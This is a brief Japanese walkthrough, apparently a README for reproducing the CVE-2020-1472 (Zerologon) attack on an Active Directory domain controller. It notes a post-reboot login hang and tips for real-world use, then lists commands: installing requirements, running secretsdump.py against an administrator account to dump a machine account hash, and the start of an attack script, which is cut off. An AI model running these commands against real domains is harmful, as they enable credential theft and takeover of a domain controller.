CVE-2020-1472

再現してみたところ、少しバグがあり、再起動後にログインページでしばらく止まってしまいます。自分だけかどうかは分かりません。（実環境での利用は慎重に） 実戦では、secretsdump.py の -use-vss と -history を使用して履歴ハッシュを取得し、復元することができます。 ステップ1 pip3 install -r requirements.txt ハッシュを確認 secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$' 攻撃 python3...